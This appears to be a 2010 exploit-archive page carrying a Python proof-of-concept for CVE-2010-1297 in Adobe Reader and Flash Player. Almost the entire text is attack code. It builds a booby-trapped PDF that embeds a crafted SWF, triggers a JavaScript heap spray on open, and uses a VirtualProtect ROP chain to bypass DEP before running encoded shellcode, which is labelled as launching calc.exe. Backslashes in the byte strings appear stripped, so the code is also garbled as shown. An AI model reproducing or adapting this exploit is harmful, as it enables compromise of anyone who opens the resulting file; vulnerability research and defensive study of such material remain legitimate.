Adobe Acrobat Reader and Flash Player (newclass) invalid poi
Posted on 01 September 2010
<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>Adobe Acrobat Reader and Flash Player (newclass) invalid pointer</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>================================================================ Adobe Acrobat Reader and Flash Player (newclass) invalid pointer ================================================================ Title : Adobe Acrobat Reader and Flash Player “newclass” invalid pointer vulnerability Analysis : http://www.abysssec.com Vendor : http://www.adobe.com Impact : Ciritical Contact : shahin [at] abysssec.com , info [at] abysssec.com Twitter : @abysssec CVE : CVE-2010-1297 MOAUB Number : MOAUB-01-BA ''' import sys class PDF: def __init__(self): self.xrefs = [] self.eol = 'x0a' self.content = '' self.xrefs_offset = 0 def header(self): self.content += '%PDF-1.6' + self.eol def obj(self, obj_num, data,flag): self.xrefs.append(len(self.content)) self.content += '%d 0 obj' % obj_num if flag == 1: self.content += self.eol + '<< ' + data + ' >>' + self.eol else: self.content += self.eol + data + self.eol self.content += 'endobj' + self.eol def obj_SWFStream(self, obj_num, data, stream): self.xrefs.append(len(self.content)) self.content += '%d 0 obj' % obj_num self.content += self.eol + '<< ' + data + '/Params << /Size %d >> /DL %d /Length %d' %(len(stream),len(stream),len(stream)) self.content += ' >>' + self.eol self.content += 'stream' + self.eol + stream + self.eol + 'endstream' + self.eol self.content += 'endobj' + self.eol def obj_Stream(self, obj_num, data, stream): self.xrefs.append(len(self.content)) self.content += '%d 0 obj' % obj_num self.content += self.eol + '<< ' + data + '/Length %d' %len(stream) self.content += ' >>' + self.eol self.content += 'stream' + self.eol + stream + self.eol + 'endstream' + self.eol self.content += 'endobj' + self.eol def ref(self, ref_num): return '%d 0 R' % ref_num def xref(self): self.xrefs_offset = len(self.content) self.content += 'xref' + self.eol self.content += '0 %d' % (len(self.xrefs) + 1) self.content += self.eol self.content += '0000000000 65535 f' + self.eol for i in self.xrefs: self.content += '%010d 00000 n' % i self.content += self.eol def trailer(self): self.content += 'trailer' + self.eol self.content += '<< /Size %d' % (len(self.xrefs) + 1) self.content += ' /Root ' + self.ref(1) + ' >> ' + self.eol self.content += 'startxref' + self.eol self.content += '%d' % self.xrefs_offset self.content += self.eol self.content += '%%EOF' def generate(self): return self.content class Exploit: def convert_to_utf16(self, payload): enc_payload = '' for i in range(0, len(payload), 2): num = 0 for j in range(0, 2): num += (ord(payload[i + j]) & 0xff) << (j * 8) enc_payload += '%%u%04x' % num return enc_payload def get_payload(self): # shellcode calc.exe payload =("x90x90x90x89xE5xD9xEExD9x75xF4x5Ex56x59x49x49x49x49x49x49x49x49x49x49" "x43x43x43x43x43x43x37x51x5Ax6Ax41x58x50x30x41x30x41x6Bx41x41x51x32x41x42x32x42x42x30x42x42x41" "x42x58x50x38x41x42x75x4Ax49x4Bx4Cx4Bx58x51x54x43x30x43x30x45x50x4Cx4Bx51x55x47x4Cx4Cx4Bx43x4C" "x43x35x44x38x45x51x4Ax4Fx4Cx4Bx50x4Fx44x58x4Cx4Bx51x4Fx47x50x45x51x4Ax4Bx51x59x4Cx4Bx46x54x4C" "x4Bx43x31x4Ax4Ex46x51x49x50x4Ax39x4Ex4Cx4Cx44x49x50x42x54x45x57x49x51x48x4Ax44x4Dx45x51x49x52" "x4Ax4Bx4Bx44x47x4Bx46x34x46x44x45x54x43x45x4Ax45x4Cx4Bx51x4Fx47x54x43x31x4Ax4Bx43x56x4Cx4Bx44" "x4Cx50x4Bx4Cx4Bx51x4Fx45x4Cx45x51x4Ax4Bx4Cx4Bx45x4Cx4Cx4Bx43x31x4Ax4Bx4Cx49x51x4Cx47x54x45x54" "x48x43x51x4Fx46x51x4Cx36x43x50x46x36x45x34x4Cx4Bx50x46x50x30x4Cx4Bx47x30x44x4Cx4Cx4Bx44x30x45" "x4Cx4Ex4Dx4Cx4Bx42x48x44x48x4Dx59x4Bx48x4Bx33x49x50x43x5Ax46x30x45x38x4Cx30x4Cx4Ax45x54x51x4F" "x42x48x4Dx48x4Bx4Ex4Dx5Ax44x4Ex50x57x4Bx4Fx4Ax47x43x53x47x4Ax51x4Cx50x57x51x59x50x4Ex50x44x50" "x4Fx46x37x50x53x51x4Cx43x43x42x59x44x33x43x44x43x55x42x4Dx50x33x50x32x51x4Cx42x43x45x31x42x4C" "x42x43x46x4Ex45x35x44x38x42x45x43x30x41x41") return payload def getSWF(self): try: #swfFile = sys.argv[2] fdR = open('flash.swf', 'rb+') strTotal = fdR.read() str1 = strTotal[:88] addr1 = 'x06xa6x17x30' # addr = 0c0c0c0c str2 = strTotal[92:533] #*************************** Bypass DEP by VirtualProtect ******************************** rop = '' rop += "x77xFAx44x7E" # mov edi,esp ret 4 rop += "x94x28xc2x77" #add esp,20 pop ebp ret rop += "AAAA" #padding rop += "xD4x1Ax80x7C" # VirtualProtect rop += "BBBB" # Ret Addr for VirtualProtect rop += "CCCC" # Param1 (lpAddress) rop += "DDDD" # Param2 (Size) rop += "EEEE" # Param3 (flNewProtect) rop += "x10xB0xEFx77" # Param4 (Writable Address) rop += "AAAAAAAAAAAA" #padding rop += "xC2x4DxC3x77" #mov eax,edi pop esi ret rop += "AAAA" #padding rop += "xF2xE1x12x06" #add eax,94 ret rop += "x70xDCxEEx77" #push esp pop ebp ret4 rop += "x16x9Ax94x7C" #mov [ebp-30],eax ret rop += "AAAA" #padding rop += "xC2x4DxC3x77" #mov eax,edi pop esi ret rop += "AAAA" #padding rop += "xF2xE1x12x06" #add eax,94 ret rop += "x79x9Ex83x7C" #mov [ebp-2c],eax ret rop += "x27x56xEAx77" #mov eax,6b3 ret rop += "x14x83xE0x77" #mov [ebp-28],eax ret rop += "xB4x01xF2x77" #xor eax,eax ret rop += "x88x41x97x7C" #add eax,40 pop ebp ret rop += "AAAA" #padding rop += "x70xDCxEEx77" #push esp pop ebp ret4 rop += "xC0x9ExEFx77" #mov [ebp-54],eax ret rop += "AAAA" #padding rop += "xC2x4DxC3x77" #mov eax,edi pop esi ret rop += "AAAA" #padding rop += "xC1xF2xC1x77" #add eax,8 ret rop += "xCFx97xDEx77" #xchg eax,esp ret str3 = strTotal[669:1249] alignESP = "x83xc4x03" sc = self.get_payload() if len(sc) > 2118: print "[*] Error : payload length is long" return if len(sc) <= 2118: dif = 2118 - len(sc) while dif > 0 : sc += 'x90' dif = dif - 1 str4 = strTotal[3370:3726] addr2 = 'xF2x3Dx8Dx23' # Enter 0C75 , 81 RET str5 = strTotal[3730:] fdW= open('exploit.swf', 'wb+') finalStr = str1+addr1+str2+rop+str3+alignESP+sc+str4+addr2+str5 fdW.write(finalStr) #strTotal = open('exploit.swf', 'rb+').read() fdW.close() fdR.close() return finalStr except IOError: print '[*] Error : An IO error has occurred' def HeapSpray(self): spray = ''' function spray_heap() { var chunk_size, payload, nopsled; chunk_size = 0x1A0000; pointers = unescape("%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030"); pointerSled = unescape("<Contents>"); while (pointerSled.length < chunk_size) pointerSled += pointerSled; pointerSled_len = chunk_size - (pointers.length + 20); pointerSled = pointerSled.substring(0, pointerSled_len); heap_chunks = new Array(); for (var i = 0 ; i < <CHUNKS> ; i++) heap_chunks[i] = pointerSled + pointers; } spray_heap(); ''' spray = spray.replace('<Contents>', '%u33dd%u3030') # Pointer to XCHG ESP , EBX ''' Authplay.dll 303033DD ? 87DC XCHG ESP,EBX ############################################################# will do nothing 303033DF ? 45 INC EBP 303033E0 ? 05 00898784 ADD EAX,84878900 303033E5 ? 42 INC EDX 303033E6 ? 05 008987E8 ADD EAX,E8878900 303033EB ? 41 INC ECX 303033EC ? 05 008987EC ADD EAX,EC878900 303033F1 ? 41 INC ECX 303033F2 ? 05 008987F0 ADD EAX,F0878900 303033F7 ? 41 INC ECX 303033F8 ? 05 008987F4 ADD EAX,F4878900 303033FD ? 41 INC ECX 303033FE ? 05 005F5E5D ADD EAX,5D5E5F00 30303403 . B8 01000000 MOV EAX,1 30303408 . 5B POP EBX ############################################################ 30303409 . 83C4 30 ADD ESP,30 3030340C . C3 RETN ''' spray = spray.replace('<CHUNKS>', '40') #Chunk count return spray def generate_pdf(): exploit = Exploit() swfFile = 'exploit.swf' pdf = PDF() pdf.header() pdf.obj(1, '/MarkInfo<</Marked true>>/Type /Catalog/Pages ' + pdf.ref(2) + ' /OpenAction ' + pdf.ref(17),1) #pdf.obj(1, '/MarkInfo<</Marked true>>/Type /Catalog/Pages ' + pdf.ref(2) ,1) pdf.obj(2, '/Count 1/Type/Pages/Kids[ '+pdf.ref(3)+' ]',1) pdf.obj(3, '/Annots [ '+pdf.ref(5) +' ]/Parent '+pdf.ref(2) + " /Type/Page"+' /Contents '+pdf.ref(4) ,1) pdf.obj_Stream(4, '','') pdf.obj(5, '/RichMediaSettings '+pdf.ref(6)+' /NM ( ' + swfFile + ' ) /Subtype /RichMedia /Type /Annot /RichMediaContent '+pdf.ref(7)+' /Rect [ 266 116 430 204 ]',1) pdf.obj(6, '/Subtype /Flash /Activation '+pdf.ref(8)+' /Type /RichMediaSettings /Deactivation '+pdf.ref(9),1) pdf.obj(7, '/Type /RichMediaContent /Assets '+pdf.ref(10) +' /Configurations [ ' + pdf.ref(11) + ']',1) pdf.obj(8, '/Type /RichMediaActivation /Condition /PO ',1) pdf.obj(9, '/Type /RichMediaDeactivation /Condition /XD ',1) pdf.obj(10, '/Names [('+ swfFile +') ' + pdf.ref(12)+' ]',1) pdf.obj(11, '/Subtype /Flash /Type /RichMediaConfiguration /Name (ElFlash) /Instances [ '+pdf.ref(13) +' ]',1) pdf.obj(12, '/EF <</F '+pdf.ref(14) +' >> /Type /Filespec /F ('+ swfFile +')',1) pdf.obj(13, '/Subype /Flash /Params '+pdf.ref(15) +' /Type /RichMediaInstance /Asset '+ pdf.ref(12) ,1) pdf.obj_SWFStream(14, ' /Type /EmbeddedFile ',exploit.getSWF() ) pdf.obj(15, '/Binding /Background /Type /RichMediaParams /FlashVars () /Settings '+pdf.ref(16),1) pdf.obj_Stream(16, '<</Length 0 >> ','') pdf.obj(17, '/Type /Action /S /JavaScript /JS (%s)' % exploit.HeapSpray(),1) pdf.xref() pdf.trailer() return pdf.generate() def main(): if len(sys.argv) != 2: print 'Usage: python %s [output file name]' % sys.argv[0] sys.exit(0) file_name = sys.argv[1] if not file_name.endswith('.pdf'): file_name = file_name + '.pdf' try: fd = open(file_name, 'wb+') fd.write(generate_pdf()) fd.close() print '[-] PDF file generated and written to %s' % file_name except IOError: print '[*] Error : An IO error has occurred' print '[-] Exiting ...' sys.exit(-1) if __name__ == '__main__': main() # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-09-01]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>
